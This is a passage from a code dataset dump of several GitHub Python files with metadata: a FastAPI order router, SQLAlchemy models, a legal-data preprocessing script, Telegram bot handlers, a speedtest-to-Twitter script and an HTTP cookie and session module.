"line_number": 72, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 73, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 73, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 74, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 74, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 75, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 75, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 76, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 76, "usage_type": "name"}]}
{"seq_id": "25121346887", "text": "from fastapi import APIRouter, Depends, Body\nfrom fastapi.responses import JSONResponse\nfrom fastapi.encoders import jsonable_encoder\nfrom sqlalchemy.orm import Session\n\nimport crud\nimport schemas\nfrom api.deps import get_current_user, get_db\nfrom models import User, Order, OrderElement\n\nrouter = APIRouter(\n    prefix='/orders',\n    tags=['Orders'],\n    dependencies=[Depends(get_current_user)]\n)\n\n\n@router.get('')\ndef get_orders(user: User = Depends(get_current_user)):\n    orders: list[Order] = user.orders\n\n    results = []\n\n    for o in orders:\n        elements: list[OrderElement] = o.order_elements\n        cart_elements = [schemas.CartElement(\n            id=e.id,\n            quantity=e.quantity,\n            product=schemas.CartProduct(\n                id=e.product.id,\n                name=e.product.name,\n                price=e.product.price,\n                url=e.product.url,\n                description=e.product.description,\n                brand=e.product.brand.name,\n            )\n        ) for e in elements]\n\n        order_data: dict = jsonable_encoder(o)\n        order_data['orderNumber'] = o.order_number\n        order_data['orderDate'] = str(o.order_date)\n        order_data['items'] = cart_elements\n        order_data['customerName'] = o.customer_name\n        results.append(schemas.Order(**order_data))\n\n    return results\n\n\n@router.post('')\ndef create_order(\n        db: Session = Depends(get_db),\n        user: User = Depends(get_current_user),\n        dto: schemas.OrderCreate = Body()\n):\n    order = crud.orders.create(db, user_id=user.id, dto=dto)\n    return JSONResponse({'orderId': order.id, 'orderNumber': order.order_number}, status_code=201)\n", "repo_name": "bloczito/ecommerce-shop-server-fastapi", "sub_path": "api/orders.py", "file_name": "orders.py", "file_ext": "py", "file_size_in_byte": 1679, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "fastapi.APIRouter", "line_number": 11, "usage_type": "call"}, {"api_name": "fastapi.Depends", "line_number": 14, "usage_type": "call"}, {"api_name": "api.deps.get_current_user", "line_number": 14, "usage_type": "argument"}, {"api_name": "models.User", "line_number": 19, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 19, "usage_type": "call"}, {"api_name": "api.deps.get_current_user", "line_number": 19, "usage_type": "argument"}, {"api_name": "models.Order", "line_number": 20, "usage_type": "name"}, {"api_name": "models.OrderElement", "line_number": 25, "usage_type": "name"}, {"api_name": "schemas.CartElement", "line_number": 26, "usage_type": "call"}, {"api_name": "schemas.CartProduct", "line_number": 29, "usage_type": "call"}, {"api_name": "fastapi.encoders.jsonable_encoder", "line_number": 39, "usage_type": "call"}, {"api_name": "schemas.Order", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 51, "usage_type": "name"}, {"api_name": "models.User", "line_number": 52, "usage_type": "name"}, {"api_name": "schemas.OrderCreate", "line_number": 53, "usage_type": "attribute"}, {"api_name": "fastapi.Depends", "line_number": 51, "usage_type": "call"}, {"api_name": "api.deps.get_db", "line_number": 51, "usage_type": "argument"}, {"api_name": "fastapi.Depends", "line_number": 52, "usage_type": "call"}, {"api_name": "api.deps.get_current_user", "line_number": 52, "usage_type": "argument"}, {"api_name": "fastapi.Body", "line_number": 53, "usage_type": "call"}, {"api_name": "crud.orders.create", "line_number": 55, "usage_type": "call"}, {"api_name": "crud.orders", "line_number": 55, "usage_type": "attribute"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "9378253753", "text": "# Импортируем необходимые модули\r\nimport os\r\nfrom sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Float, create_engine\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy.orm import relationship, sessionmaker, Session\r\nfrom sqlalchemy.sql import func\r\nfrom dotenv import load_dotenv\r\n\r\n# Создаем базовый класс для объявления моделей\r\nBase = declarative_base()\r\n\r\n# Загружаем переменные окружения из файла .env\r\nload_dotenv()\r\n\r\n# Получаем URL для подключения к базе данных PostgreSQL из переменной окружения\r\nPOSTGRES_URL = os.getenv('DATABASE_URL')\r\n\r\n# Создаем движок SQLAlchemy для работы с базой данных\r\nengine = create_engine(POSTGRES_URL, echo=True)\r\n\r\n# Создаем сессию для работы с базой данных\r\nDBSession = Session(engine)\r\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\r\n\r\n# Функция для получения экземпляра сессии базы данных\r\ndef get_db():\r\n    db = SessionLocal()\r\n    try:\r\n        yield db\r\n    finally:\r\n        db.close()\r\n\r\n# Определяем модель Book, которая соответствует таблице 'book' в базе данных\r\nclass Book(Base):\r\n    __tablename__ = 'book'\r\n    id = Column(Integer, primary_key=True, index=True)\r\n    title = Column(String)\r\n    rating = Column(Float)\r\n    time_created = Column(DateTime(timezone=True), server_default=func.now())\r\n    time_updated = Column(DateTime(timezone=True), onupdate=func.now())\r\n    author_id = Column(Integer, ForeignKey('author.id'))\r\n\r\n    author = relationship('Author')\r\n\r\n# Определяем модель Author, которая соответствует таблице 'author' в базе данных\r\nclass Author(Base):\r\n    __tablename__ = 'author'\r\n    id = Column(Integer, primary_key=True)\r\n    name = Column(String)\r\n    age = Column(Integer)\r\n    time_created = Column(DateTime(timezone=True), server_default=func.now())\r\n    time_updated = Column(DateTime(timezone=True), onupdate=func.now())\r\n", "repo_name": "AIk1r/FastAPI_project", "sub_path": "models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2257, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 10, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 36, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 37, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 38, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func.now", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func", "line_number": 39, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func.now", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func", "line_number": 40, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 41, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 48, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 49, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 50, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func.now", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func", "line_number": 51, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func.now", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.func", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "33270642705", "text": "import json\nimport os\nmax_words = 1500\n\ndef readjson(input_path):\n    with open(input_path, 'r', encoding=\"utf-8\") as file:\n        str = file.read()\n        data = json.loads(str)\n    return data\n\ndef writejson(dataset, output_path):\n    with open(output_path, 'w', encoding=\"utf-8\") as file:\n        for data in dataset:\n            data = json.dumps(data, ensure_ascii=False)\n            file.write(data)\n            file.write('\\n')\n\ndef labeldata(dataset):\n    ev_id = \"evidence\"\n    ev_id += \"_e\" + str(dataset['id'])\n    child_dataset = []\n    for seg in dataset['Ev_segments']:\n        seg_id = ev_id\n        seg_id += (\"_\"+ str(seg[\"seg\"]) +\n                    \"_s\"+ str(seg[\"start\"]) + \n                    \"_e\"+str(seg[\"end\"]))\n\n        for truth in seg['truth_info']:\n            # print(sid-seg[\"start\"]) \n            answer = []\n            # print(dataset['id'])\n            # print(seg[\"start\"])\n            # print(seg['inter_result'])\n            for ev in seg['ev_result'][str(truth['t_id'])]:\n                answer.append(\"第\"+ str(ev[0]-seg[\"start\"]) + \"句到第\" + str(ev[1]-seg[\"start\"]) + \"句\")\n\n            if answer != []:\n                answer = '；'.join(answer)+ \"。\"\n            else:\n                answer = \"\"\n            prompt = {\"instruction\": \"请在文本中找出下述待证事实对应的相关证据。{},\".format(truth[\"info\"]),\n                        \"input\": seg[\"case_info\"],\n                        \"answer\": answer}\n\n            child_dataset.append(prompt)\n\n    return child_dataset\n\ndef main():\n    input_dir = \"segjson2/evseg\"\n    output_path = \"labeldata3/train_ev.json\"\n    input_dir_list = os.listdir(input_dir)\n    dataset = []\n    for filename in input_dir_list:\n        file_path = os.path.join(input_dir, filename)\n        data = readjson(file_path)\n        event_ev = labeldata(data)\n        # print(event_ev)\n        dataset.extend(event_ev)\n    \n    writejson(dataset, output_path)\n\n\nif __name__ == '__main__':\n    main()", "repo_name": "china-ai-law-challenge/CAIL2023", "sub_path": "ssrd/baseline/dataproc/gendata_ev3.py", "file_name": "gendata_ev3.py", "file_ext": "py", "file_size_in_byte": 1991, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "69", "api": [{"api_name": "json.loads", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}]}
{"seq_id": "33171470475", "text": "from aiogram.types import InputFile\r\nfrom create_bot import bot\r\nfrom text import texts\r\nimport keyboard\r\n\r\n\r\n\r\n\r\nasync def send_message_start(message):\r\n    await bot.send_video(message.from_user.id, video=InputFile(path_or_bytesio=\"Video.mp4\"), caption=f\"{texts['start']}\", reply_markup=keyboard.kb_mark_main,)\r\n\r\nasync def send_message_price(message):\r\n    await bot.send_message(message.from_user.id, texts[\"price\"], reply_markup=keyboard.inl_kb_mark_services)\r\n\r\n# async def send_message_inst(message):\r\n#     await bot.send_message(message.from_user.id, texts[\"inst\"], reply_markup=keyboard.inl_kb_mark_inst)\r\n\r\nasync def send_message_contacts(message):\r\n    photo_file = InputFile(path_or_bytesio=\"locations.jpg\")\r\n    await bot.send_photo(message.from_user.id, photo=photo_file, caption=texts[\"contacts\"], reply_markup=keyboard.inl_kb_mark_contacts)\r\n\r\nasync def send_message_queshions(message):\r\n    await bot.send_message(message.from_user.id, texts[\"queshions\"], reply_markup=keyboard.inl_kb_mark_queshions)\r\n\r\nasync def send_message_sign_up(message):\r\n    await bot.send_message(message.from_user.id, texts[\"sign_up\"], reply_markup=keyboard.inl_kb_mark_sign_up)\r\n\r\nasync def about_us_message(message):\r\n    await bot.send_message(message.from_user.id, texts[\"about_us\"], reply_markup=keyboard.inl_kb_mark_about)\r\n\r\nasync def edit_message_service_description(call):\r\n    await bot.edit_message_text(\r\n        text = texts[call.data],\r\n        message_id = call.message.message_id,\r\n        chat_id = call.message.chat.id, \r\n        reply_markup=keyboard.inl_kb_mark_service_description\r\n    )\r\n\r\nasync def edit_message_all_services(call):\r\n    await bot.edit_message_text(\r\n        text=texts[\"price\"],\r\n        message_id = call.message.message_id,\r\n        chat_id = call.message.chat.id, \r\n        reply_markup=keyboard.inl_kb_mark_services\r\n    )\r\n\r\nasync def work_message(message):\r\n    await bot.send_message(message.from_user.id, texts[\"work\"], reply_markup=keyboard.inl_kb_mark_inst)\r\n\r\ndef register_handlers(dp):\r\n    dp.register_message_handler(send_message_start, commands=[\"start\"])\r\n    dp.register_message_handler(send_message_price, lambda message: \"прайс\" in message.text.lower(), state=None)\r\n    # dp.register_message_handler(send_message_inst, lambda message: \"instagram\" in message.text.lower(), state=None)\r\n    dp.register_message_handler(send_message_contacts, lambda message: \"контакты\" in message.text.lower(), state=None)\r\n    dp.register_message_handler(send_message_queshions, lambda message: \"вопрос\" in message.text.lower(), state=None)\r\n    # dp.register_message_handler(send_message_sign_up, lambda message: \"записаться\" in message.text.lower(), state=None)\r\n    dp.register_callback_query_handler(edit_message_service_description, lambda callback: callback.data in [\"ser_1\", \"ser_2\", \"ser_3\", \"ser_4\", \"ser_5\", \"ser_6\", \"ser_7\", \"ser_8\"], state=None)\r\n    dp.register_callback_query_handler(edit_message_all_services, lambda callback: callback.data == \"back\", state=None)\r\n    dp.register_callback_query_handler(send_message_sign_up, lambda callback: callback.data == \"sign_up\", state=None)\r\n    dp.register_message_handler(work_message, lambda message: \"наши работы до-после\" in message.text.lower(), state=None)\r\n    dp.register_message_handler(about_us_message, lambda message: \"о нас\" in message.text.lower(), state=None)\r\n\r\n\r\n", "repo_name": "OreoLand123/Your-Clinic", "sub_path": "handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 3425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "create_bot.bot.send_video", "line_number": 10, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 10, "usage_type": "name"}, {"api_name": "aiogram.types.InputFile", "line_number": 10, "usage_type": "call"}, {"api_name": "text.texts", "line_number": 10, "usage_type": "name"}, {"api_name": "keyboard.kb_mark_main", "line_number": 10, "usage_type": "attribute"}, {"api_name": "create_bot.bot.send_message", "line_number": 13, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 13, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 13, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_services", "line_number": 13, "usage_type": "attribute"}, {"api_name": "aiogram.types.InputFile", "line_number": 19, "usage_type": "call"}, {"api_name": "create_bot.bot.send_photo", "line_number": 20, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 20, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 20, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_contacts", "line_number": 20, "usage_type": "attribute"}, {"api_name": "create_bot.bot.send_message", "line_number": 23, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 23, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 23, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_queshions", "line_number": 23, "usage_type": "attribute"}, {"api_name": "create_bot.bot.send_message", "line_number": 26, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 26, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 26, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_sign_up", "line_number": 26, "usage_type": "attribute"}, {"api_name": "create_bot.bot.send_message", "line_number": 29, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 29, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 29, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_about", "line_number": 29, "usage_type": "attribute"}, {"api_name": "create_bot.bot.edit_message_text", "line_number": 32, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 32, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 33, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_service_description", "line_number": 36, "usage_type": "attribute"}, {"api_name": "create_bot.bot.edit_message_text", "line_number": 40, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 40, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 41, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_services", "line_number": 44, "usage_type": "attribute"}, {"api_name": "create_bot.bot.send_message", "line_number": 48, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 48, "usage_type": "name"}, {"api_name": "text.texts", "line_number": 48, "usage_type": "name"}, {"api_name": "keyboard.inl_kb_mark_inst", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "43094065464", "text": "#!/usr/bin/env python2\nfrom pyspeedtest import SpeedTest\nfrom pyspeedtestconfig import credentials, timezone, logfilename\nimport twitter\nimport sys\nimport arrow\n\nif __name__ == '__main__':\n    api = twitter.Api(**credentials)\n    st = SpeedTest()\n    munits = \"Mb/s\"\n    time = arrow.utcnow().to(timezone).format('YYYY/MM/DD HH:mm:ss')\n    try:\n        upload_speed = st.upload()\n        formatted_upload_speed = \"{:.02f}\".format(upload_speed / 1000000)\n        units1 = munits\n    except:\n        formatted_upload_speed = \"ERR\"\n        units1 = \"\"\n    try:\n        download_speed = st.download()\n        formatted_download_speed = \"{:.02f}\".format(download_speed / 1000000)\n        units2 = munits\n    except:\n        formatted_download_speed = \"ERR\"\n        units2 = \"\"\n\n    status = \"%s Upload: %s%s, Download: %s%s\" % (time, formatted_upload_speed, units1, formatted_download_speed, units2)\n    api.PostUpdate(status)\n    with open(logfilename, 'a') as f:\n        logline = \",\".join(map(str, [arrow.utcnow().timestamp, upload_speed, download_speed]))\n        f.write(logline+'\\n')\n", "repo_name": "poopgiggle/PySpeedTestTweeter", "sub_path": "speedtester.py", "file_name": "speedtester.py", "file_ext": "py", "file_size_in_byte": 1085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "twitter.Api", "line_number": 9, "usage_type": "call"}, {"api_name": "pyspeedtestconfig.credentials", "line_number": 9, "usage_type": "name"}, {"api_name": "pyspeedtest.SpeedTest", "line_number": 10, "usage_type": "call"}, {"api_name": "pyspeedtestconfig.timezone", "line_number": 12, "usage_type": "argument"}, {"api_name": "arrow.utcnow", "line_number": 12, "usage_type": "call"}, {"api_name": "pyspeedtestconfig.logfilename", "line_number": 30, "usage_type": "argument"}, {"api_name": "arrow.utcnow", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "8827896037", "text": "\"\"\"This module defines classes directly related HTTP request processing.\"\"\"\n\n\nimport abc\nimport datetime\nimport sys\nimport str_generator\nfrom database import MySQLDatabase\nfrom models import Session\n\n\ndef status_description(status_code):\n    \"\"\"Return description of a specified HTTP status code.\"\"\"\n    # Use attribute of function to avoid duplicated creation\n    if not hasattr(status_description, '_http_status_description'):\n        status_description._http_status_description = {\n            200: 'OK',\n            301: 'Moved Permanently',\n            302: 'Found',\n            400: 'Bad Request',\n            401: 'Unauthorized',\n            403: 'Forbidden',\n            404: 'Not Found',\n            405: 'Method Not Allowed',\n            406: 'Not Acceptable',\n            500: 'Internal Server Error',\n            501: 'Not Implemented',\n        }\n\n    return status_description._http_status_description.\\\n        get(status_code, 'Unknow Status')\n\n\ndef status_header(status_code):\n    \"\"\"Return the HTTP status header of the code.\"\"\"\n    return '%d %s' % (status_code, status_description(status_code))\n\n\nclass HttpCookie(object):\n    \"\"\"Class that represents HTTP cookies.\"\"\"\n\n    @classmethod\n    def parse_http_header(cls, header_string):\n        \"\"\"Parse the 'Cookie' value in HTTP request header and create an\n        HttpCookie object. None is returned if failed to parse.\"\"\"\n        if not header_string:\n            return None\n\n        # Get parts seperated by ';'\n        parts = [s.strip() for s in header_string.split(';')]\n\n        # Get key-value pairs from parts\n        data = {}\n        for part in parts:\n            if '=' in part:\n                key, value = part.split('=')\n                # Ignore reserved keys\n                if key.lower() not in ['path', 'domain', 'expires']:\n                    data[key] = value\n\n        # Cookie send by client only contains data fields\n        return cls(data, None, None)\n\n    def __init__(self, data, path, expires,\n                 domain=None, secure=False, httponly=False):\n        \"\"\"Create a cookie with its attributes. data is a dictionary that\n        contains the data fields. path, expires, domain, secure, httponly\n        specifiy the attributes of the cookie.\"\"\"\n        self.data = data\n        self.path = path\n        self.domain = domain\n        self.expires = expires\n        self.secure = secure\n        self.httponly = httponly\n\n    def http_header(self):\n        \"\"\"Convert this cookie to an HTTP 'Set-Cookie' header. Empty string is\n        returned if no data is set to this cookie.\"\"\"\n        if self.data is None:\n            return ''\n\n        # Get data fields\n        parts = ['%s=%s' % (k, v) for k, v in self.data.items()]\n\n        fields = {}\n        # Add path\n        if self.path is not None:\n            fields['Path'] = self.path\n\n        # Add expires\n        if self.expires is not None:\n            expires_gmt = self.expires - datetime.timedelta(hours=8)\n            fields['Expires'] = \\\n                expires_gmt.strftime('%a, %d %b %Y %H:%M:%S GMT')\n\n        # Add domain\n        if self.domain is not None:\n            fields['Domain'] = self.domain\n\n        # Create parts(in 'key=value' or 'key')\n        parts.extend(['%s=%s' % (k, v) for k, v in fields.items()])\n\n        # Add secure flag\n        if self.secure:\n            parts.append('Secure')\n\n        # Add HTTP only flag\n        if self.httponly:\n            parts.append('HttpOnly')\n\n        return '; '.join(parts)\n\n    def __str__(self):\n        \"\"\"Return description of this cookie.\"\"\"\n        return self.http_header()\n\n\nclass HttpRequest(object):\n    \"\"\"HTTP request class that stores information of the client request.\"\"\"\n\n    def __init__(self, environ, field_storage):\n        \"\"\"Create request object with environment variables and cgi\n        FieldStorage object.\"\"\"\n        # Get request parameters\n        self.method = environ.get('REQUEST_METHOD')\n        self.uri = environ.get('REQUEST_URI')\n        self.script_name = environ.get('SCRIPT_NAME', '')\n        self.client_addr = environ.get('REMOTE_ADDR')\n        self.useragent = environ.get('HTTP_USER_AGENT')\n        self.connection = environ.get('HTTP_CONNECTION')\n        self.host = environ.get('HTTP_HOST')\n\n        # Get content attributes\n        self.content_type = environ.get('CONTENT_TYPE', None)\n        self.content_length = int(environ.get('CONTENT_LENGTH', '0'))\n\n        # Get client configuration\n        self.accept_format = environ.get('HTTP_ACCEPT')\n        self.accept_language = environ.get('HTTP_ACCEPT_LANGUAGE')\n        self.accept_encoding = environ.get('HTTP_ACCEPT_ENCODING')\n        self.cache_control = environ.get('HTTP_CACHE_CONTROL')\n\n        # Get server informathon\n        self.server_name = environ.get('SERVER_NAME')\n        self.server_port = environ.get('SERVER_PORT')\n\n        # Get cookie\n        self.cookie = \\\n            HttpCookie.parse_http_header(environ.get('HTTP_COOKIE'))\n\n        # Get field storage passed by cgi\n        self.field_storage = field_storage\n\n\nclass HttpResponse(object):\n    \"\"\"HTTP response class that stores information of server response.\"\"\"\n\n    def __init__(self, view, **headers):\n        \"\"\"Create HTTP response with its view and additional headers.\"\"\"\n        self.view = view\n        self.headers = headers\n\n        # Get content type and store it in self.headers\n        if 'Content-Type' not in self.headers:\n            if self.view is not None:\n                self.headers['Content-Type'] = self.view.content_type\n            else:\n                self.headers['Content-Type'] = 'text/html'\n\n    def add_headers(self, headers):\n        \"\"\"Add extra headers to this response.\"\"\"\n        self.headers.update(headers)\n\n    def add_header(self, name, value):\n        \"\"\"Add extra header to this response.\"\"\"\n        self.headers[name] = value\n\n    def set_cookie(self, cookie):\n        \"\"\"Add a cookie to this response.\"\"\"\n        if cookie is not None:\n            self.headers['Set-Cookie'] = cookie.http_header()\n\n    def remove_header(self, header_name):\n        \"\"\"Remove the specified header from this response.\"\"\"\n        if header_name in self.headers:\n            del self.headers[header_name]\n\n    def _get_header_string(self):\n        \"\"\"Return the HTTP header part of this response(No extra new lines)\"\"\"\n        # Construct header string\n        header_list = []\n        for key, value in self.headers.items():\n            header_list.append('%s: %s' % (key, value))\n\n        return '\\r\\n'.join(header_list)\n\n    def write_to_output(self, out=None):\n        \"\"\"Write this response to out. If out is None or not presented,\n        stdout will be used instead.\"\"\"\n        # Check the output file\n        if out is None:\n            out = sys.stdout\n\n        # Generate header string and body\n        header_string = self._get_header_string()\n        if self.view is None:\n            body = ''\n        else:\n            body = self.view.render_body()\n\n        # Write everything to output\n        out.write(header_string)\n        out.write('\\r\\n\\r\\n')\n        out.write(body)\n        out.flush()\n\n\nclass HttpRedirectResponse(HttpResponse):\n    \"\"\"The HTTP response that redirects the request to another location.\"\"\"\n\n    def __init__(self, redirect_location):\n        \"\"\"Create redirect response with the redirecting location.\"\"\"\n        HttpResponse.__init__(self, None)\n        self.headers['Status'] = status_header(302)\n        self.headers['Location'] = redirect_location\n\n\nclass HttpErrorResponse(HttpResponse):\n    \"\"\"The HTTP response that indicates an HTTP error.\"\"\"\n\n    def __init__(self, error_code, error_view):\n        \"\"\"Create error response with error code and view of the error page.\"\"\"\n        HttpResponse.__init__(self,\n                              error_view,\n                              Status=status_header(error_code))\n\n\nclass HttpSession(object):\n    \"\"\"Abstract class that defines API of HTTP session.\"\"\"\n\n    __metaclass__ = abc.ABCMeta\n\n    @classmethod\n    @abc.abstractmethod\n    def create_session(cls, storage, data, client_ip, effective_hours):\n        \"\"\"Create a new session. client_ip specifies the IP address of the\n        HTTP client. effective_hours specifies effective time in hours.\n        data collects the data to store in the session.\"\"\"\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def load_session(cls, storage, session_key):\n        \"\"\"Load the session with specified session key.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def get_session_key(self):\n        \"\"\"Return the key of this session.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def get_attribute(self, attribute_name, default=None):\n        \"\"\"Get attribute stored in this session with specified name.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def set_attribute(self, attribute_name, attribute_value):\n        \"\"\"Set the value of attribute with specified name.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def expired(self):\n        \"\"\"Return whether this session has expired.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def renew(self, effective_hours):\n        \"\"\"Renew the expiring time of this session.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def get_expire_time(self):\n        \"\"\"Get the expire time of this session.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def invalidate(self):\n        \"\"\"Remove this session.\"\"\"\n        pass\n\n\nclass DatabaseSession(HttpSession):\n    \"\"\"Http session implemented with database.\"\"\"\n\n    def __init__(self, db, model):\n        \"\"\"Create database session object with database and session model.\"\"\"\n        self.db = db\n        self.model = model\n\n    @classmethod\n    def create_session(cls, db, data, client_ip, effective_hours):\n        \"\"\"Create a new session. client_ip specifies the IP address of the\n        HTTP client. effective_hours specifies effective time in hours.\n        data collects the data to store in the session.\"\"\"\n        # Try 3 different keys\n        for trial in range(3):\n            session_key = str_generator.unique_id(40)\n\n            # Try to create session instance in database\n            session_model = Session.create_session(\n                db,\n                session_key,\n                data,\n                client_ip,\n                effective_hours\n            )\n\n            if session_model is not None:\n                break\n\n        # If still not created, return None\n        if session_model is None:\n            return None\n        else:\n            return DatabaseSession(db, session_model)\n\n    @classmethod\n    def load_session(cls, db, session_key):\n        \"\"\"Load session from database with session_key.\"\"\"\n        session_model = Session.load_from_database(db,\n                                                   session_key=session_key)\n\n        if session_model is None:\n            return None\n        else:\n            return DatabaseSession(db, session_model)\n\n    def get_session_key(self):\n        \"\"\"Return the key of this session.\"\"\"\n        return self.model['session_key']\n\n    def get_attribute(self, attribute_name, default=None):\n        \"\"\"Get attribute stored in this session with specified name.\"\"\"\n        return self.model.get_data_attribute(attribute_name, default)\n\n    def set_attribute(self, attribute_name, attribute_value):\n        \"\"\"Set the value of attribute with specified name.\"\"\"\n        self.model.set_data_attribute(attribute_name,\n                                      attribute_value)\n        self.model.store_session_data(self.db)\n\n    def get_expire_time(self):\n        \"\"\"Get the expire time of this session.\"\"\"\n        return self.model['expire_time']\n\n    def expired(self):\n        \"\"\"Return whether this session has expired.\"\"\"\n        return self.model.session_expired()\n\n    def renew(self, effective_hours):\n        \"\"\"Renew the expiring time of this session.\"\"\"\n        return self.model.renew_session(self.db, effective_hours)\n\n    def invalidate(self):\n        \"\"\"Remove this session.\"\"\"\n        self.model.delete_from_database(self.db)\n", "repo_name": "lichuanzju/ngavatar", "sub_path": "src/scripts/libs/ng/http.py", "file_name": "http.py", "file_ext": "py", "file_size_in_byte": 12064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.timedelta", "line_number": 92, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 202, "usage_type": "attribute"}, {"api_name": "abc.ABCMeta", "line_number": 241, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 244, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 252, "usage_type": "attribute"}, {"api_name": 